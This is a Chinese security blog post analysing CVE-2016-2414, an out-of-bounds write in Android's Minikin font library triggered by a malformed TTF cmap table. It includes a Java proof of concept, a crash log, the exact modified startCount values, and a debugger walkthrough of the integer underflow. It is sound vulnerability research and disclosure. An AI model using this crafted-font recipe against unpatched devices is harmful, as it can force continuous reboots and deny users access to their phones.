神刀安全网

Android Minikin 库越界写拒绝服务漏洞分析

在本月的Android补丁中,谷歌修复了Minikin库中的一个拒绝服务漏洞(CVE-2016-2414) 。早在今年3月初我就向谷歌报告了这个漏洞,但谷歌方面确认说该漏洞与去年11月份另一位专家报告的BUG26413177是同一个漏洞。

在本文,我将给大家深入的分析该漏洞。该漏洞是由于Minikin库无法正确解析.TTF字体文件,正因如此一位本地攻击者是能够暂时阻止受该漏洞影响的Android设备访问。攻击者可以加载一份不可信字体文件,让Minikin组件溢出,这将会导致崩溃。

由于崩溃会导致Android设备连续的重启,所以该问题被谷歌评级为高危漏洞。

受影响的Android版本

Android 5.0.2, 5.1.1, 6.0, 6.0.1

概念验证

下面的代码片段能够触发该漏洞,setTypeface函数用于从外部在TextView中加载以及设置自定义字体。

public class MyActivity extends Activity     {         public void onCreate(Bundle savedInstanceState)         {             super.onCreate(savedInstanceState);             setContentView(R.layout.main);             TextView textView2 = (TextView) findViewById(R.id.textView2);             Typeface typeface2 = Typeface.createFromFile(Environment.getExternalStorageDirectory() + "/fuzzed.ttf");             textView2.setTypeface(typeface2);         }     }

以下为崩溃日志:

--------- beginning of crash 04-04 16:44:43.230  5021  5021 F libc    : Fatal signal 11 (SIGSEGV), code 1, fault addr 0x36587 in tid 5021 (example.TTFFont) 04-04 16:44:43.248 32383 28153 I Icing   : Indexing done 215BF78BC46028A346E51FB3E9502079034D8D40 04-04 16:44:43.249 32383 28153 I Icing   : Indexing 4400EDF81586FA899DD2C6CB98D8E1B8279596F4 from com.google.android.gms 04-04 16:44:43.250 32383 28153 I Icing   : Indexing done 4400EDF81586FA899DD2C6CB98D8E1B8279596F4 04-04 16:44:43.332 10881 10881 F DEBUG   : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***  04-04 16:44:43.332 10881 10881 F DEBUG   : Build fingerprint:  'google/hammerhead/hammerhead:6.0.1/MMB29V/2554798:user/release-keys' 04-04 16:44:43.332 10881 10881 F DEBUG   : Revision: '0' 04-04 16:44:43.332 10881 10881 F DEBUG   : ABI: 'arm' 04-04 16:44:43.332 10881 10881 F DEBUG   : pid: 5021, tid: 5021, name:  example.TTFFont  >>> com.example.TTFFont <<< 04-04 16:44:43.332 10881 10881 F DEBUG   : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR), fault addr 0x36587 04-04 16:44:43.344 10881 10881 F DEBUG   :     r0 0000d962  r1 0000d938  r2 0000001e  r3 00000006 04-04 16:44:43.344 10881 10881 F DEBUG   :     r4 acb4ef7c  r5 0000001e  r6 ffffffff  r7 00000043 04-04 16:44:43.344 10881 10881 F DEBUG   :     r8 ab173400  r9 ffffffff  sl 0000002b  fp 07fffffe 04-04 16:44:43.345 10881 10881 F DEBUG   :     ip 07fffffd  sp bef6ce20  lr 00001e0c  pc b5db01e0  cpsr 00030030 04-04 16:44:43.347 10881 10881 F DEBUG   :  04-04 16:44:43.347 10881 10881 F DEBUG   : backtrace: 04-04 16:44:43.347 10881 10881 F DEBUG   :     #00 pc 0000b1e0   /system/lib/libminikin.so  (android::SparseBitSet::initFromRanges(unsigned int const*, unsigned  int)+311) 04-04 16:44:43.347 10881 10881 F DEBUG   :     #01 pc 0000652b   /system/lib/libminikin.so  (android::CmapCoverage::getCoverage(android::SparseBitSet&, unsigned  char const*, unsigned int)+498) 04-04 16:44:43.347 10881 10881 F DEBUG   :     #02 pc 00006ee1   /system/lib/libminikin.so (android::FontFamily::getCoverage()+116) 04-04 16:44:43.347 10881 10881 F DEBUG   :     #03 pc 0000685b   /system/lib/libminikin.so  (android::FontCollection::FontCollection(std::__1::vector<android::FontFamily*,  std::__1::allocator<android::FontFamily*> > const&)+150) 04-04 16:44:43.347 10881 10881 F DEBUG   :     #04 pc 0009784b   /system/lib/libandroid_runtime.so  (android::TypefaceImpl_createFromFamilies(long long const*, unsigned  int)+94) 04-04 16:44:43.347 10881 10881 F DEBUG   :     #05 pc 0009752b  /system/lib/libandroid_runtime.so 04-04 16:44:43.347 10881 10881 F DEBUG   :     #06 pc 72e8db21   /data/dalvik-cache/arm/system@framework@boot.oat (offset 0x1ec9000) 04-04 16:44:43.649 10881 10881 F DEBUG   :  04-04 16:44:43.649 10881 10881 F DEBUG   : Tombstone written to: /data/tombstones/tombstone_09 04-04 16:44:43.649 10881 10881 E DEBUG   : AM write failed: Broken pipe 

分析

该漏洞是由于Minikin库无法正确解析.TTF字体文件,进而造成了一个越界写拒绝服务漏洞。

首先我们来看看这个经过特殊构造的.TTF字体文件,注意这个简化版本的PoC在偏移地址0×60, 0x58D, 0x5D6, 0xAD60的不同差异。以下为正常的TTF文件与我们的简化版本PoC比较

Android Minikin 库越界写拒绝服务漏洞分析

图1:偏移地址0×60

Android Minikin 库越界写拒绝服务漏洞分析

图2:偏移地址0x58D以及0x5D6

Android Minikin 库越界写拒绝服务漏洞分析

图3:偏移地址0xAD60

在上面的图1和图3中,我们对 TTFTemplate 使用16进制编辑器来解析TTF字体文件。偏移地址0×60

的4个字节为cmap表单中checksum字段,偏移地址0xAD60的4个字节为thead头结构中的checkSumAdjustment字段,这两个校验和字段在fuzzing的时候就已经进行重新计算了。他们不触发漏洞,这里就直接略过。以下为使用 TTFTemplate 解析简化版本PoC

Android Minikin 库越界写拒绝服务漏洞分析

从上图中,我们能够看到偏移地址0x58D和0x5D6中cmap表中被修改的字节。关于cmap表的详细说明可以看看 https://www.microsoft.com/typography/otspec/cmap.htm ,其中的Format 4部分如下:

Android Minikin 库越界写拒绝服务漏洞分析

以下为‘startCount[]’ 和 ‘endCount[]’的对比:

Android Minikin 库越界写拒绝服务漏洞分析

一般来说,startCount[]和endCount[]数组中每一个元素的值都会逐渐增大。与此同时,对于一个给定的索引i,endCount[i]大于或等于startCount[i]。我们将简化版PoC文件中的startCount[30]修改为0x1E78,让startCount[30] > endCount[30]。再将 startCount[67] 修改为0xE0FF,让startCount[67] < startCount[66]。根据说明文档我们知道startCount[67]是最后一个元素且为0xFFFF。

从堆栈跟踪反馈来看,我们看到在android::SparseBitSet::initFromRanges函数中SIGSEGV重现并获得代码崩溃的位置,以下为SparseBitSet::initFromRanges函数:

  void SparseBitSet::initFromRanges(const uint32_t* ranges, size_t nRanges) {        ...        ...        ...             size_t index = ((currentPage - 1) << (kLogValuesPerPage - kLogBitsPerEl)) +                 ((start & kPageMask) >> kLogBitsPerEl);             size_t nElements = (end - (start & ~kElMask) + kElMask) >> kLogBitsPerEl;             if (nElements == 1) {                mBitmaps[index] |= (kElAllOnes >> (start & kElMask)) &                     (kElAllOnes << ((-end) & kElMask));             } else {                 mBitmaps[index] |= kElAllOnes >> (start & kElMask);                 for (size_t j = 1; j < nElements - 1; j++) {                     mBitmaps[index + j] = kElAllOnes;                       //crash here, it’s an out-of-bound write.                 }                mBitmaps[index + nElements - 1] |= kElAllOnes << ((-end) & kElMask);                }         ...         ...         ...     }

接下来,使用 IDA Pro进行动态分析。在SparseBitSet::initFromRanges函数入口设置一个断点。然后运行调试器可以看到下面的代码:

Android Minikin 库越界写拒绝服务漏洞分析

从上图中得知,R1为第一个参数(const uint32_t* ranges),R2为第二个参数 (size_t nRanges),下面为R1指向的内存:

Android Minikin 库越界写拒绝服务漏洞分析

我们看到偏移地址0xAB1734F0中的4个字节 |78 1E 00 00|存储 startCount[30] (|1E 78|)的值,随后的4个字节|0C 1E 00 00|存储endCount[30]+1 (|1E 0B|+1)的值,接着继续跟踪直到程序处理到ranges[30] (|78 1E 00 00 0C 1E 00 00|)

Android Minikin 库越界写拒绝服务漏洞分析

从上图中我们可以看到当R2等于0x1E,R10寄存器指向ranges[30] (0xAB1734F0),继续分析

Android Minikin 库越界写拒绝服务漏洞分析

之后跳转到loc_B5DB0176

Android Minikin 库越界写拒绝服务漏洞分析

接下来进入loc_B5DB01D2循环, [R4+8]存储mBitmaps值,并且R9指向值mBitmaps(从源代码)。如下所示:

Android Minikin 库越界写拒绝服务漏洞分析

之后在地址B5DB01E0,它会执行一个STR指令并向内存 [R9+R0<<2]写入0xFFFFFFFF

Android Minikin 库越界写拒绝服务漏洞分析

当我们运行调试器(F9),弹出如下对话框

Android Minikin 库越界写拒绝服务漏洞分析

出现一个分段违规(segmentation violation)错误,检查下内存信息和寄存器

Android Minikin 库越界写拒绝服务漏洞分析

以下为源代码的分析:

 void SparseBitSet::initFromRanges(const uint32_t* ranges, size_t nRanges) {        if (nRanges == 0) {             mMaxVal = 0;             mIndices.reset();             mBitmaps.reset();             return;         }         mMaxVal = ranges[nRanges * 2 - 1];         size_t indexSize = (mMaxVal + kPageMask) >> kLogValuesPerPage;         mIndices.reset(new uint32_t[indexSize]);         uint32_t nPages = calcNumPages(ranges, nRanges);         mBitmaps.reset(new element[nPages << (kLogValuesPerPage - kLogBitsPerEl)]);         memset(mBitmaps.get(), 0, nPages << (kLogValuesPerPage - 3));         mZeroPageIndex = noZeroPage;         uint32_t nonzeroPageEnd = 0;         uint32_t currentPage = 0;         for (size_t i = 0; i < nRanges; i++) {      //when the variable i is eqaul to 0x1E, the program handles the modified data in 'startCount' array in PoC file.             uint32_t start = ranges[i * 2];         //the variable start is eqaul to 0x1E78             uint32_t end = ranges[i * 2 + 1];       //the variable end is eqaul to 0x1E0C             uint32_t startPage = start >> kLogValuesPerPage;             uint32_t endPage = (end - 1) >> kLogValuesPerPage;            if (startPage >= nonzeroPageEnd) {                 if (startPage > nonzeroPageEnd) {                    if (mZeroPageIndex == noZeroPage) {                         mZeroPageIndex = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);                     }                     for (uint32_t j = nonzeroPageEnd; j < startPage; j++) {                         mIndices[j] = mZeroPageIndex;                     }                 }                 mIndices[startPage] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);             }                   size_t index = ((currentPage - 1) << (kLogValuesPerPage - kLogBitsPerEl)) +                 ((start & kPageMask) >> kLogBitsPerEl);                          // the variable index is equal to 0x2B from dynamic debugging.             size_t nElements = (end - (start & ~kElMask) + kElMask) >> kLogBitsPerEl;  // nElements = (0x1E0C - (0x1E78 & ~0x1F) + 0x1F) >> 5 = 0x07FFFFFE, because start is greater than end, it causes a overflow when doing subtraction.             if (nElements == 1) {                mBitmaps[index] |= (kElAllOnes >> (start & kElMask)) &                     (kElAllOnes << ((-end) & kElMask));             } else {                 mBitmaps[index] |= kElAllOnes >> (start & kElMask);                 for (size_t j = 1; j < nElements - 1; j++) {        // the loop condition is j < 0x07FFFFFD, it's a too large value.                     mBitmaps[index + j] = kElAllOnes;               //crash here, it's out-of-bound write.                 }                mBitmaps[index + nElements - 1] |= kElAllOnes << ((-end) & kElMask);            }             for (size_t j = startPage + 1; j < endPage + 1; j++) {                 mIndices[j] = (currentPage++) << (kLogValuesPerPage - kLogBitsPerEl);             }             nonzeroPageEnd = endPage + 1;         }     }

总结

简单来说该漏洞是由于Minikin未能检测cmap表中的有效长度引起,一个损坏的或者一个恶意的字体文件可能包含一个负数范围大小,反过来导致了内存的泄漏。一个攻击者可以加载一个损坏的字体文件并导致Minikin组件发生溢出。这个崩溃会导致Android设备连续重启。

*原文链接: Fortinet ,鸢尾编译,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » Android Minikin 库越界写拒绝服务漏洞分析

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址